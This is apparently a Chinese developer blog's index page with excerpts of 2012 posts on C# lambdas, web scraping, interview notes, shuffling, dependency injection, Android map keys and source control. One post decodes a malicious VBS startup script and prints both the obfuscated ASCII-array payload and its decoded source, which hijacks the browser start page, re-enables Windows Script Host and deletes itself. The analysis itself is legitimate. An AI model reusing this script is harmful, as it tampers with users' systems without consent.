Lambda高手之路第一部分

好长时间没发技术文章了,恰好看到一篇非常详细的Lambda文章。一边翻译一边学习。题目好像有点霸气。。 介绍 Lambda表达式是使代码更加动态,易于扩展并且更加快速(看完本文你就知道原因了)的强有力的工具。也可以用来降低潜在的错误。同时可以利用静态输入和智能提示,就像VS里一样。 Lambda表达式在.net framework 3.5中提出来。并且在LINQ和ASP.NET MVC内部的一些技术中扮演了相当重要的角色。如果你考虑一下ASP.NET MVC中各类控件的实现。你就发现。奥妙就是他们大多使用了Lambda表达式。和Lambda表达式一起,使用Html扩展方法将会使得在后台创建模型成为可能。 本文会讲到如下的知识。 1.简短的介绍-Lambda表达式是什么,以及为什么和匿名方法不同(之前我们使用的) 2.走近Lambda表达式的性能-在哪些情况下比起标准方法,Lambda会提高/损失性能 3.深入-Lambda表达式在MSIL代码中是什么样 4.一些来自JS世界的模式映射到C#中 5.那些能够提高性能,并且代码看起来相当舒服的使用Lambda的情况。 6.一些我提出的新模式-当然有可能别人也提出来了。但这是我的思考结果。 如果你期望本文是一篇入门教程我可能要让你失望了,除非你真的很优秀并且很聪明,当然我不是这种人,所以我也想提前声明一下:为了读懂这篇文章你可能需要C#的一些高级知识,并且对C#比较了解。 你应该期望本文试着解释一些事情给你,也会解释一些有趣的问题,至少对我来说是这样的。最后我会展示一些实际的例子和模式,如我所说,Lambda表达式简化了很多情况。因此写显式的模式很有用。 背景知识-什么是Lambda表达式 在C#1.0中,委托被提出了,它使得传递函数成为可能,一句话就是委托就是强类型的函数指针,但委托比指针更强大。一般传递一个函数需要如下几步。 1. 写一个委托(就像一个类)包含返回类型和参数类型 2. 使用委托作为某一个函数的参数类型,这样,该函数就可以接受和委托描述的有着相同签名的函数了 3. 将一个委托类型的函数传递给委托,创建一个委托实例。 如果听起来很复杂,确实本来很复杂,但这是必需的。(虽然不是造火箭,但是比你认为的要更多的代码),然而步骤三不是必需的,编译器会为你做他,但是步骤1和2却是必不可少的。 幸运的是C#2.0出现了泛型,现在我们也可以写泛型类,方法,更重要的是,泛型委托,然而,直到.net framework 3.5的时候。微软意识到实际上只有两种泛型委托(当然有一些不同的重载),会覆盖99%的使用情况: 1.Action 没有任何输入参数,也没有输出参数。 2.Action<t1,…t16> 需要1-16个参数,没有输出参数。 3.Func<t1….t16,tout>需要0-16个参数,一个输出参数 Action和其对应的泛型版本(仅仅是一个动作,执行一些事情)返回void的时候。Func则可以返回最后一个参数指定的类型,通过这两个委托类型,我们事实上,大部分情况下。前面提到的三步中的第一部就不用写的。而第二步仍然需要。 那么如果我们想要运行代码的时候怎么做呢。在C#2.0中问题已经可以解决了。在这个版本里。我们可以创建委托方法,也就是一个匿名方法,然后这个语法一直未能流行起来,一个相当简化的匿名方法的版本类似这样: Func<double, double> square = delegate (double x) { return x * x; } 为了提高这种语法,欢迎来到Lambda表达式的国度。首先,这个Lambda名字怎么来的?事实上。来自于数学上的λ演算,更准确的说他是数学中一个正式的系统。用于通过变量绑定和替换来进行表达式计算,所以我们有0-N个输入参数和一个返回值,而在编程中,也可以没有返回值 我们看一下Lambda表达式的一些例子 //编译器可以识别,然后就可以通过dummyLambda();来调用了 var dummyLambda = () => { Console.WriteLine("Hallo World from a Lambda expression!"); }; //可以通过类似 double y = square(25);来使用 Func<double, double> square = x => x * x; //可以通过类似double z = product(9, 5);来使用 Func<double, double,double> product = (x, y) => x * y; //可以通过类似printProduct(9, 5);来使用 Action<double, double> printProduct = (x, y) => { Console.Writeline(x * y); }; //可以通过类似var sum = dotProduct(new double[] { 1, 2, 3 }, new double[] { 4, 5, 6 }); Func<double[], double[], double> dotProduct = (x, y) => { var dim = Math.Min(x.Length, y.Length); var sum = 0.0; for(var i = 0; i != dim; i++) sum += x[i] + y[i]; return sum; }; //可以通过类似 var result = matrixVectorProductAsync(...);使用 Func<double[,], double[], double[]=""> matrixVectorProductAsync = async (x, y) => { var sum = 0.0; /* do some stuff ... */ return sum; }; 从上面的代码段里我们可以学到一些东西 ...

2012-12-18 · 2 min · bystander

[源码]打包下载算法与数据结构演示动画

很早的时候,学习数据结构的时候。收集了一下演示的动画。帮助理解。但是不全。今天在看KMP算法的时候。看到了福州大学的一个精品课程。。81个演示动画呢。。想打包下载收藏。话说福州大学这才是好样的。踏踏实实搞学术。 第一种方法就是手工了。。嘎嘎。你敢么。一个个下载。。。一个个改名。。 第二种就是用整站下载的软件了。。但是我看了一下swf的命名。我就知道下载下来意义不大。因为名字不好理解。 第三种就是自己写个程序吧。。 整体思路,首先访问课程页面,解析得到每一章的标题和内容,然后创立章节文件夹,得到每个动画对应的html页面,然后对html页面解析,提取swf地址。然后下载就行了。 比较疼的地方是那个页面用的是gb2312编码。而解析神器HtmlAgilityPack,不能指定编码。只能想办法绕过了。 WebClient client = new WebClient(); MemoryStream ms = new MemoryStream(client.DownloadData(url)); HtmlDocument doc = new HtmlDocument(); doc.Load(ms, Encoding.GetEncoding("gb2312")); 绕过方法就是先使用内置类得到内存流。然后从内存中加载。 然后呢。涉及的技术就是xpath了。参考着xpath的文档。搞定了不少。中间还有一个地方就是我没注意看。这个页面有两个文件是一样名字。。调试了几次才发现。。 using System; using System.Collections.Generic; using System.Linq; using System.Text; using HtmlAgilityPack; using System.IO; using System.Threading; using System.Net; namespace FzuSwf { class Program { static void Main(string[] args) { DoWork(); } //执行任务 static void DoWork() { HtmlWeb web = new HtmlWeb(); HtmlDocument doc = web.Load("http://ds.fzu.edu.cn/fine/resources/"); HtmlNode divResource = doc.GetElementbyId("divResource"); foreach (HtmlNode child in divResource.ChildNodes) { if (child.Name == "table") { HtmlNode ptile = child.SelectSingleNode("tr[1]"); Directory.CreateDirectory(ptile.InnerText.Trim()); int i = 0; HtmlNodeCollection pcontents = child.SelectNodes("tr[position()>1]"); Console.WriteLine(ptile.InnerText.Trim()); foreach (HtmlNode one in pcontents) { string link = one.SelectSingleNode("./td[1]/p[1]/a[@href]").Attributes["href"].Value; link = @"http://ds.fzu.edu.cn/fine/resources/" + link; string filename; filename = one.InnerText.Trim(); if (one.InnerText.Trim() == "二叉树的顺序存储表示") { filename += i; i++; } string swfLink = getSwfName(link); Console.WriteLine("--" + filename + swfLink); DownSwf(swfLink, ptile.InnerText.Trim() + @"/" + filename + ".swf"); Thread.Sleep(1000); } } } } //下载指定的swf static void DownSwf(string url, string desname) { Uri u = new Uri(url); WebClient myWebClient = new WebClient(); myWebClient.DownloadFileAsync(u, desname); } //获取指定页面的那个swf名称 static string getSwfName(string url) { WebClient client = new WebClient(); MemoryStream ms = new MemoryStream(client.DownloadData(url)); HtmlDocument doc = new HtmlDocument(); doc.Load(ms, Encoding.GetEncoding("gb2312")); HtmlNode hd = doc.DocumentNode; string str = hd.SelectSingleNode("//a[@href]").Attributes["href"].Value; return @"http://ds.fzu.edu.cn/fine/resources/" + str; } } } ...

2012-12-03 · 1 min · bystander

C#与.net 程序员面试笔记

这是前几天读的书。书不难。10-13章跳过了。以后再看。 以前,一个应用程序对应一个进程。并且为该进程指定虚拟内存,这样。进程会消耗很多资源,而且进程之间的通信业比较麻烦 应用程序域可以理解为很多应用程序域都可以运行在同一个.net 进程中,降低内存消耗。同时不同的域之间隔离。安全有保证。通信也简单。 程序集是指包含编译好的。面向.net framework的代码的逻辑单元。是完全自我描述性的一个逻辑单元。可以存储在多个文件中。简单来说,程序集就是几个彼此有关联程序文件的集合。程序集会包含程序的元数据。描述了对应代码中定义的方法和类型。 装箱和拆箱:装箱转换是将一个值类型显式或隐式的转换成一个object对象。并且把这个对象转换成一个被该值类型应用的的接口类型。装箱后的object对象中的数据位于堆中。一般应该避免这种运算。 CLR将值类型的数据包裹到匿名的托管对象中,并将托管对象的引用放在Object类型的变量中。这个过程称为装箱。一般还是使用泛型来代替多好。 值类型和引用类型:值类型实例通常分配在线程的栈上。并且不包含指向任何实例数据的指针。引用类型实例分配在托管堆上。变量保存了实例数据的内存引用。引用类型复制的话会导致引用同一个内存地址。 C#预处理指令是在编译时调用的。预处理指令通知C#编译器要编译哪些代码。并指出如何处理特定的错误和异常。比如用在一些调试的时候。在顶部define一个debug 内部的测试部分写上测试用例。具体示例 //定义条件变量,注意条件变量的定义要在代码的最前面 #define Debug using System; namespace MyConsole { class Preprocesor { public static void Main() { //如果条件变量是Debug则运行单元调试代码,再运行功能模块返回运行结果 #if Debug Console.WriteLine("运行单元测试模块"); Console.WriteLine("运行功能模块,返回输出结果"); Console.Read(); #elif Release //如果条件变量是Release,则直接运行功能模块返回运行结果 Console.WriteLine("运行功能模块,返回输出结果"); Console.Read(); #endif } } } C#中的指针 指针是一个无符号整数。是以当前系统寻址范围为取值范围的整数,CLR支持三种指针类型:受托管指针,非托管指针,非托管函数指针,受托管指针存储在堆上的托管块的引用,一个非托管指针就是传统意义上的指针,要放在unsafe中使用,C#中指针并不继承自Object String 是CLR的类型名称。而string是C#的关键字。其实C#编译时。。会增下如下代码: using string=System.String Array 到ArrayList的转换 1.使用ArrayList.Adapter(ArrayName) 可以直接得到ArrayList 2.使用遍历逐个添加到ArrayList里。 反向的话直接使用(Array[])ArrayListName.ToArray(typeof(Array));即可 checked和unchecked语句用于控制整形算术运算和显示转换的溢出检查上下文。checked关键字用于对整型算术运算和转换显式启用溢出检查。因为默认情况下。如果表达式产生的值超过了类型的范围。则常数表达式将会导致编译时错误。而非常数表达式则在运行时计算并将引发异常。 Asp.Net 中的Request对象主要功能是从客户端得到数据信息。他的属性比较多。比如UserLanguage,TotalBytes,Path,ApplicationPath ViewState是其的一个重要特性。用于把生成页面要用的状态值保存到一个隐藏域里。而不是用cookie/内存 SOAP是Web Service应用的基础协议。他是一种轻量的简单的。基于xml的协议。被设计成在wEb上交换结构化的和固有的信息。 WSDL是一种用于描述web服务和说明如何与Web服务通信的XML语言。WSDL是一种符合XML语法规范的语言。它的设计完全基于Soap协议的实现。当一个WEb Service 服务器期望为使用者提供服务说明时,WSDL语言是最好的选择之一。 **对企业的一些认识 ** 千万不要说自己未来的打算是做到管理层,首先对管理层的定义不清楚。职务不清楚。所以保险的答案是我会努力钻研技术。使得能够达到业内的专业人士。深刻理解公司和行业 我是为了找一份长期性的工作。我不喜欢频繁的跳槽我希望在这个利于发展自己的事业。深入学习。向专业人士请教。那。该我想问这个职务是长期的吗? 不要把公司想像成慈善机构。工作的运作方面应该是尽可能快的实现盈利。树立品牌,赢得客户。我的工作就是完成企业的良性运作。 如果被问到是否需要考虑看分数。应该说用人单位确实需要全面考量。也要考虑应聘者的工作积极性/服从性。实际经验/对开发的理解诶。这些也许比分数更有价值。 应届生的优缺点应该是足够的理论知识和专业能力。缺点是工作和社会经验不足。

2012-11-28 · 1 min · bystander

C#模拟手工洗牌(附测试)

洗牌大家都知道,代码实现最广泛的一种就是产生两个随机数,然后交换这两个随机数为下标的牌,但是这种的洗牌并不能保证同概率,你可以参考本文做一些测试,本文代码没啥可说的。我写出了非常详细的注释 ps:刚开始写那个随机数的时候,我随便给了个种子2012.。结果你懂的。。意外意外。这个全局的result数组让我很疼,代码有什么可以改进的,欢迎留言指出。不胜感激。 /*Author:Bystander *Blog:http://leaver.me *Date:2012/11/24*/ using System; class Program { static int[,] result; static void Main() { //初始牌的顺序,我只测试10张牌的情况 char[] _arr = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J' }; result = new int[_arr.Length, _arr.Length]; //进行1000次,来统计结果的数字. for (int i = 0; i < 10000; i++) { ShuffleArray_Manual(_arr); SumCount(_arr); } int j = 0; foreach (int i in result) { if (j % result.GetLength(1) == 0) { Console.WriteLine(); } Console.Write(i + "\t"); j++; } } //模拟洗牌 static void ShuffleArray_Manual(char[] arr) { Random rand = new Random(Guid.NewGuid().GetHashCode()); int len = arr.Length; int mid = len / 2; /* * 洗牌的过程重复进行5次,为了洗的均匀.每次都是先平分扑克,然后完全交叉,然后从牌中拿出一部分,放在牌的最前面,也就是切牌,然后再进行下次平分扑克。 */ //双手洗牌5次,默认认为是平分扑克 for (int n = 0; n < 5; n++) { //两手洗牌 for (int i = 1; i < mid; i += 2) { char tmp = arr[i]; arr[i] = arr[mid + i]; arr[mid + i] = tmp; } //随机切牌 //注意切牌指的是从中抽出n张牌放到扑克牌的前面去 char[] buf = new char[len]; for (int j = 0; j < 5; j++) { //产生从大于等于1小于len的数 int start = rand.Next() % (len - 1) + 1; //产生大于等于0小于等于一半的数 int numCards = rand.Next() % (len / 2) + 1; if (start + numCards > len) { numCards = len - start; } //把扑克牌arr的前start张牌复制到buf里 Array.ConstrainedCopy(arr, 0, buf, 0, start); ///然后把切出来的numCards张牌,起始下标为start的移动到扑克牌arr的最前面 Array.ConstrainedCopy(arr, start, arr, 0, numCards); ///最后把切出去的buf牌(numCards张)复制回扑克牌arr的numCards之后的元素 Array.ConstrainedCopy(buf, 0, arr, numCards, start); } } } //统计一次结果的次数,存入结果数组 static void SumCount(char[] arr) { for (int i = 0; i < arr.Length; i++) { result[arr[i] - 'A', i] += 1; } } }

2012-11-25 · 2 min · bystander

一个恶意vbs脚本的简单解码

今天把电脑还原到了11月7号。结果eset更新后报C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup这个目录有个zzs.vbs的不受欢迎的程序,当时没什么事,就打开看看。想知道是个什么东西。 由于eset阻止,我就把文件拖出来。改个后缀。发现代码不长,前半段是ascii码编码的。。 strs = Array(68,111,13,10,32,32,32,32,83,101,116,32,111,98,106,87,77,73,83,101,114,118,105,99,101,32,61,32,71,101,116,79,98,106,101,99,116,40,34,119,105,110,109,103,109,116,115,58,92,92,46,92,114,111,111,116,92,99,105,109,118,50,34,41,13,10,32,32,32,32,83,101,116,32,99,111,108,80,114,111,99,101,115,115,101,115,32,61,32,111,98,106,87,77,73,83,101,114,118,105,99,101,46,69,120,101,99,81,117,101,114,121,40,34,83,101,108,101,99,116,32,42,32,102,114,111,109,32,87,105,110,51,50,95,80,114,111,99,101,115,115,34,41,13,10,32,32,32,32,70,111,117,110,100,80,114,111,99,101,115,115,32,61,32,48,13,10,32,32,32,32,70,111,114,32,69,97,99,104,32,111,98,106,80,114,111,99,101,115,115,32,73,110,32,99,111,108,80,114,111,99,101,115,115,101,115,13,10,32,32,32,32,32,32,32,32,73,102,32,111,98,106,80,114,111,99,101,115,115,46,78,97,109,101,32,61,32,34,117,115,101,114,105,110,105,116,46,101,120,101,34,32,84,104,101,110,13,10,32,32,32,32,32,32,32,32,32,32,32,32,70,111,117,110,100,80,114,111,99,101,115,115,32,61,32,49,13,10,32,32,32,32,32,32,32,32,32,32,32,32,69,120,105,116,32,70,111,114,13,10,32,32,32,32,32,32,32,32,69,110,100,32,73,102,13,10,32,32,32,32,78,101,120,116,13,10,32,32,32,32,73,102,32,70,111,117,110,100,80,114,111,99,101,115,115,32,61,32,48,32,84,104,101,110,32,69,120,105,116,32,68,111,13,10,32,32,32,32,87,83,99,114,105,112,116,46,83,108,101,101,112,32,49,48,48,13,10,76,111,111,112,13,10,13,10,115,80,97,103,101,32,61,32,34,104,116,116,112,58,47,47,119,119,119,46,57,57,57,46,99,111,109,47,63,111,110,101,34,13,10,13,10,83,101,116,32,111,98,106,83,104,101,108,108,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,83,99,114,105,112,116,46,83,104,101,108,108,34,41,13,10,111,98,106,83,104,101,108,108,46,82,101,103,87,114,105,116,101,32,34,72,75,67,85,92,83,111,102,116,119,97,114,101,92,77,105,99,114,111,115,111,102,116,92,73,110,116,101,114,110,101,116,32,69,120,112,108,111,114,101,114,92,77,97,105,110,92,83,116,97,114,116,32,80,97,103,101,34,44,32,115,80,97,103,101,13,10,13,10,115,82,101,103,80,97,116,104,32,61,32,34,72,75,76,77,92,83,79,70,84,87,65,82,69,92,77,105,99,114,111,115,111,102,116,92,87,105,110,100,111,119,115,32,83,99,114,105,112,116,32,72,111,115,116,92,83,101,116,116,105,110,103,115,34,13,10,79,110,32,69,114,114,111,114,32,82,101,115,117,109,101,32,78,101,120,116,13,10,105,69,110,97,98,108,101,100,32,61,32,111,98,106,83,104,101,108,108,46,82,101,103,82,101,97,100,32,95,13,10,40,115,82,101,103,80,97,116,104,32,38,32,34,92,69,110,97,98,108,101,100,95,34,41,13,10,73,102,32,69,114,114,46,78,117,109,98,101,114,32,61,32,48,32,84,104,101,110,13,10,32,32,32,32,111,98,106,83,104,101,108,108,46,82,101,103,87,114,105,116,101,32,115,82,101,103,80,97,116,104,32,38,32,34,92,69,110,97,98,108,101,100,34,44,32,105,69,110,97,98,108,101,100,44,32,34,82,69,71,95,68,87,79,82,68,34,13,10,32,32,32,32,111,98,106,83,104,101,108,108,46,82,101,103,68,101,108,101,116,101,32,115,82,101,103,80,97,116,104,32,38,32,34,92,69,110,97,98,108,101,100,95,34,13,10,69,110,100,32,73,102,13,10,13,10,83,101,116,32,111,98,106,83,104,101,108,108,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,83,99,114,105,112,116,105,110,103,46,70,105,108,101,83,121,115,116,101,109,79,98,106,101,99,116,34,41,13,10,83,101,116,32,102,32,61,32,111,98,106,83,104,101,108,108,46,71,101,116,70,105,108,101,40,87,83,99,114,105,112,116,46,83,99,114,105,112,116,70,117,108,108,78,97,109,101,41,13,10,73,102,32,102,46,65,116,116,114,105,98,117,116,101,115,32,65,110,100,32,49,32,84,104,101,110,32,102,46,65,116,116,114,105,98,117,116,101,115,32,61,32,102,46,65,116,116,114,105,98,117,116,101,115,32,45,32,49,13,10,111,98,106,83,104,101,108,108,46,68,101,108,101,116,101,70,105,108,101,32,87,83,99,114,105,112,116,46,83,99,114,105,112,116,70,117,108,108,78,97,109,101) 后半段是 For i = 0 To UBound(strs) runner = runner & Chr(strs(i)) Next Execute runner 虽说对vbs不怎么熟,但也知道vbs经常用来写个启动项啊。加个用户啊。之类的。后半句很好懂。就是把ascii码转换成字符串,然后执行。字面意思看看就行了。其实应该可以直接将Execute runner 改为 MsgBox runner就能输出了。但eset不能关闭。所以最后还是选择用C#来写了。 解码嘛。很简单。VS刚好开着。直接写吧。 byte[] strs = {68,101,116,70,105,108,101,40,87,83,99,114,105,112,116,46,83,99,114,105,112,116,70,117,108,108,78,97,109,101,41,13,10,73,102,32,102,46,65,116,116,114,105,98,117,116,101,115,32,65,110,100,32,49,32,84,104,101,110,32,102,46,65,116,116,114,105,98,117,116,101,115,32,61,32,102,46,65,116,116,114,105,98,117,116,101,115,32,45,32,49,13,10,111,98,106,83,104,101,108,108,46,68,101,108,101,116,101,70,105,108,101,32,87,83,99,114,105,112,116,46,83,99,114,105,112,116,70,117,108,108,78,97,109,101}; System.Text.ASCIIEncoding asciiEncoding = new System.Text.ASCIIEncoding(); Console.WriteLine(asciiEncoding.GetString(strs)); 运行后输出 Do Set objWMIService = GetObject("winmgmts:\\.\root\cimv2") Set colProcesses = objWMIService.ExecQuery("Select * from Win32_Process") FoundProcess = 0 For Each objProcess In colProcesses If objProcess.Name = "userinit.exe" Then FoundProcess = 1 Exit For End If Next If FoundProcess = 0 Then Exit Do WScript.Sleep 100 Loop sPage = "http://www.999.com/?one" Set objShell = CreateObject("WScript.Shell") objShell.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", s Page sRegPath = "HKLM\SOFTWARE\Microsoft\Windows Script Host\Settings" On Error Resume Next iEnabled = objShell.RegRead _ (sRegPath & "\Enabled_") If Err.Number = 0 Then objShell.RegWrite sRegPath & "\Enabled", iEnabled, "REG_DWORD" objShell.RegDelete sRegPath & "\Enabled_" End If Set objShell = CreateObject("Scripting.FileSystemObject") Set f = objShell.GetFile(WScript.ScriptFullName) If f.Attributes And 1 Then f.Attributes = f.Attributes - 1 objShell.DeleteFile WScript.ScriptFullName 结合后半段。简单读一读,就知道这个先找了一下userinit.exe进程。然后改了注册表并且设置了浏览器首页为999这个什么网站,我打开发现是个导航站。。人家hao123做个导航站赚钱了。。你们要不要这样跟风啊。。

2012-11-25 · 1 min · bystander

依赖倒置原则和依赖注入模式

昨天读完了程杰的《大话设计模式》。。收获颇丰。深刻感到了设计模式的伟大。。对面向接口的编程也理解了不少。刚好看到codeproject上一篇将依赖倒置的。讲到了依赖注入的方式。仔细读了一下。翻译一遍加深认识。 高耦合的代码随着项目复杂性的不断增加,最终会变成一碗碗的意大利面条啦。。二者通常是软件设计上的问题,如果一个类对另一个类的实现了解太多。当该类改变的时候会引起更多的改变。这违反了依赖倒置原则 而松耦合的代码设计优良。随着时间流逝,代码复杂两增大,松耦合的好处会变得更加清晰,依赖注入模式是实现松耦合的一个好的办法,本文介绍在没有依赖注入容器的情况下实现依赖注入 GoF说了,依赖倒置的原则: 高层模块不应依赖于低层模块,他们都应该依赖于抽象 抽象不依赖细节,细节依赖抽象 刚开始写依赖倒置比较难,随着经验增长会有所改善,通过使高层模块依赖于抽象,依赖倒置成功解耦,依赖注入模式是该原则的一个实现。 通常我们写出如下的代码: public class Email { public void SendEmail() { // code } } public class Notification { private Email _email; public Notification() { _email = new Email(); } public void PromotionalNotification() { _email.SendEmail(); } } Notification类依赖Email类,这违反了DIP,而且当我们要发送短信/保存到数据库的时候,我们还要改变Notification类。 我们使用抽象类/接口解耦 public interface IMessageService { void SendMessage(); } public class Email : IMessageService { public void SendMessage() { // code } } public class Notification { private IMessageService _iMessageService; public Notification() { _iMessageService = new Email(); } public void PromotionalNotification() { _iMessageService.SendMessage(); } } IMessageService 是一个接口,而Notification 类只要调用接口的方法/属性就可以了 同时,我们把Email对象的构造移到Notification 类外面去。 依赖注入模式可以实现。通常有三种方式 构造器注入 属性注入 方法注入 构造器注入 最普遍的方式,当一个类需要另一个类的依赖的时候,我们通过构造函数来提供,现在我们这样写 public class Notification { private IMessageService _iMessageService; public Notification(IMessageService _messageService) { this._iMessageService = _messageService; } public void PromotionalNotification() { _iMessageService.SendMessage(); } } 有几个好处:1.构造函数实现很简单,Notification类需要知道的很少。想要创建Notification实例的时候看构造函数就可以知道需要什么信息了。因此实现了松耦合。 属性注入 属性注入/setter注入比较不常见,当依赖可有可无的时候很有用。我们暴露一个可写的属性,允许客户提供不同的依赖实现,比如这样。 public class Notification { public IMessageService MessageService { get; set; } public void PromotionalNotification() { if (MessageService == null) { // some error message } else { MessageService.SendMessage(); } } } 没有了构造函数。而用属性来替换,在PromotionalNotifications 方法里我们需要检查MessageService的值或者提供相应的服务。 ...

2012-11-21 · 1 min · bystander

Android开发获取Map API Key

地图应用使用com.google.android.maps这个包。通过MapView控件使用。但是之前需要申请一个用于开发的API Key,这个key会和当前的计算机用户绑定。然后通过这个key去官方申请就可以拿到一个开发用的api key了 <1>首先找到用户的debug.keystore文件,可以再”运行“里面搜debug.keystore;如:c:\users\Administrator.android\debug.keystore <2>接下来获取MD5指纹,网上很多说的有误。貌似新版默认是出现sha1加密的。通过添加-v 参数会显示所有。 首先运行cmd,在dos界面里,输入 keytool -list -v -keystore c:\users\Bystander\.android\debug.keystore 命令,然后会让你输入keystore密码, 输入:android,之后,会出现指纹认证MD5,如下: <3>去官方生成真正的api key 访问 Sign Up for the Android Maps API 输入那串值,同意条款,确定后要求用Google帐号登录。然后会拿到一个key。ok

2012-10-21 · 1 min · bystander

关于源代码控制的五个误区

上周,在Red Gate好朋友的帮助下。我发起了一个名为小竞赛赢得优秀的SQL Source Control 5份授权的活动。参加的方式很简单-分享你使用源代码控制过程中,本可以避免的最痛苦的经历 许多痛苦的故事都出现了。但是我认为这五个获奖者的故事值得分享,并且我都做了评论,因为我觉得随着时间的流逝,这些故事依然对我们有所启发。那么,开始享受这些故事吧,我希望这些知识中的闪光点能够帮助你以后不会掉进相同的陷阱里。 给获奖者:希望那些授权可以帮助抚慰你们关于那些已经过去的痛苦记忆。不久我会联系你们关于奖项颁发的相关事宜。 1.通过Ctrl-Z来进行源代码控制 第一个故事来自 courtesy of MyChickenNinja ,仅仅文字就看得我头疼。在这个特殊的故事里。应用程序被前员工破坏了。。这非常头疼。但是至少还是有很多方法可以恢复代码的。如果不要求数据的话。。 第一个问题是备份,最近的备份已经是3周前的。这绝对是一个教训—你的环境真的备份了吗?一会我会在另一个故事里简单的再说到这个问题。故事的核心部分是通过Ctrl-Z来进行伪源代码控制 他们运行他们的代码,并且不断地更新,也包括开发环境,并且使用Ctrl-Z来撤销坏的改变 好吧。这实在令人难以置信-如果你的应用程序已经做了一些编辑。然后被关闭了。怎么办?或者PC关机了?等等—他还说他们在哪写代码,哪儿就是开发环境?记住!撤销不是源代码控制! 2。多个数据库和集成问题 第二个故事来自Brandon Thompson,他极度不开心,因为他工作在一个有着很多数据库源的环境里,并且,这些数据库都在正在进行的开发项目下面,数据库集成非常困难,这就意味着处理多个数据库备份可能还有个在海外。。 我们的开发团队在海外,因为他们有他们自己的数据库集,这些数据库我从没看到过。但是他们会把改变的文件发给我们来适应我们的开发环境 我发现最痛苦的是简单重复的手工劳动仅仅是使得大家能够协同的更好。这是没有一点创新并且没有任何增值的行为,比如增加新的特性,这就导致除了干这些。没什么时间真正在写代码了。 源代码控制是为了能够保证团队之间平稳尽量无摩擦的一起工作。它是项目的一个润滑剂,和持续集成开发还有自动部署都属于同一类。这些都是软件开发中的“面包和黄油”,是任何成功团队编写代码的基础。 3. 依赖未测试的备份 下一个是Barry Anderson,他写了一个我们都曾经经历过的痛苦:不能从备份恢复了!事实上在Barry的故事里。几个月都没备份了。之前备份本身还是坏的。这太糟糕了。但是,对于那些依赖备份的人来说这是一个严重的疏忽。 当然对于这个疏忽也有自己的借口。Barry解释道: 我们的经理(不是存储团队的)后来告诉我们既没时间也没空间来测试备份了。。。 备份是一件很重要的事情。但从备份可以恢复也是同等重要,我最近在配置大量的新环境的时候,备份本应该发生的但是就是没有发生。只有当我坚持要进行恢复测试的时候,问题才浮出水面,对于很多人来说。只有当他们真的需要从一系列的数据丢失中恢复数据的时候,才发现不能恢复了。。测试你的备份,恢复他们,不要相信任何人的说辞. 4.人工合并工具 来自Graham Sutherland的故事讲了一个人来做机器工作的故事 我们有一些开发人员,每一个在他们的硬盘上的都有整个项目的一个副本,每一次一个改变发生的时候,我们就会下载技术老大改变的源代码,然后使用diff工具来查看改变。然后手工更新他们。一行一行。。全靠双手。。 这个故事比听起来还要不可思议,在源代码控制工具出现以前这确实是存在的。一个海外开发团队成员就是这样干的。随后他们这样解释:带头的开发者需要在提交前检查其他开发人员的工作进度。 这确实是类似于之前的观点,在有多个数据库集成的情况下;我们有技术来解决这些问题!每当一个人在软件开发中从事任何劳动密集型,重复的过程,你真的不得不停下来问:“有没有更好的方法?”通常是有的。 5.剪切和粘贴版本控制 Robin Vessey 让我产生了共鸣,因为它真的是伪VCS(Version Control System)最普遍的方式。剪切或者复制,然后粘贴到新的位置,通过这种方式会包含重复的目录或者文件。因此一般这些文件会被以日期或者其他标识符来标识时间帧。 在Robin的故事里,他打算通过网络移动一个目录结构。 他很简单但高效,我剪贴然后粘贴了一个完整的目录树,任何东西,通过网络发送。但这些文件留在了我这一边。却没有到达另一边。我仍然不知道为什么。 我必须承认,我对任何剪切和粘贴文件的操作的态度是非常谨慎的,因为我看到这种情况在一个本地文件系统中发生了很多次,更不用说通过网络了,在上面的的Robin的故事,就是没有备份被恢复,因为他们一段时间后会停止备份,“因为我们没有更多的空间”。是不是感觉好像和前面某一方法很像。。 总结 工作在一个没有源代码控制的环境下是很可怕的。现在就停止吧。伙计们,我们是很优秀,但在在源代码控制下工作是很专业的。并且现在有很多的VCS产品。托管服务,集成工具,真心是没有任何理由不把代码-包括数据库,部署在源代码控制下。 原文地址:5-ways-to-do-source-control-really 著作权声明:本文由http://leaver.me 翻译,欢迎转载分享。请尊重作者劳动,转载时保留该声明和作者博客链接,谢谢!

2012-10-04 · 1 min · bystander

C#编写文件搜索器

介绍 在装有Vista的机器上。我想通过一个给定的字符串来搜索我硬盘上的一个文件,该文件内容包含这个字符串序列,资源管理器是做不到的。因此,我就决定自己写吧。然后就写成这样了。。 我做了什么 你必须输入一个选择一个搜索目录,这样程序才知道在哪搜索文件/目录,如果你选上了“包含子目录”复选框,程序就会递归地搜索指定目录的子目录,指定的文件名可以是像 “.wav;.mp3;Christma??ree.*” 这样的字符串,程序将会列出所有的文件/目录匹配这些文件名 你也可以使用一些限制条件来限制找到的项目,每一个限制条件可以通过选上复选框来激活,限制条件的参数可以在右边选中就行了。 1. “Files newer than”将会列出LastWriteTime(上次修改时间)晚于指定时间的文件 2. “Files newer than”将会列出LastWriteTime(上次修改时间)早于指定时间的文件 3. “Files containing the string"仅仅列出包含字符串参数的文件。 程序将会把字符串转换成字节序列,可以使用ASCII或者Unicode编码,取决于你的选择,然后搜索每一个出现这个字节序列的文件。 点击Start(开始)按钮就开始搜索了。找到的项目会列在下面,如果搜索时间太长了。你可以点击Stop(停止)来停止搜索。 如果你双击下面的一个文件。不是文件夹哦,程序将会根据关联程序打开该文件 如果你邮件一个项目,然后选择“Open Containing Folder”(打开包含文件夹)将会在资源管理器里打开包含该项目的文件夹 如果你想要把搜索结果保存到一个文本文件。输入个分隔符分隔项目,然后点击“Write results to text file…”(保存结果到文本…) 使用代码 1. MainWindow处理所有的界面事务 2. Searcher类提供了业务逻辑,用来搜索FileSystemInfo对象 当用户点击Start(开始)按钮,Searcher.Start 方法就会执行,该方法开启了一个名为SearchThread 的新线程,这个线程搜索文件/目录,匹配用户输入的参数,如果找到了一个匹配的FileSystemInfo对象,它就出发一个异步的FoundInfo 事件,然后MainWindow就可以从FoundInfoEventArgs中解出FileSystemInfo对象,然后更新结果列表,当线程结束的时候,将m_thread成员对象设置为null,每一次Searcher.Start 执行的时候都会检测m_thread是否为null,因此同时不会有两个线程在运行。 当用户点击Stop(停止)按钮的时候Searcher.Stop 方法被执行,然后设置m_stop 成员为true, 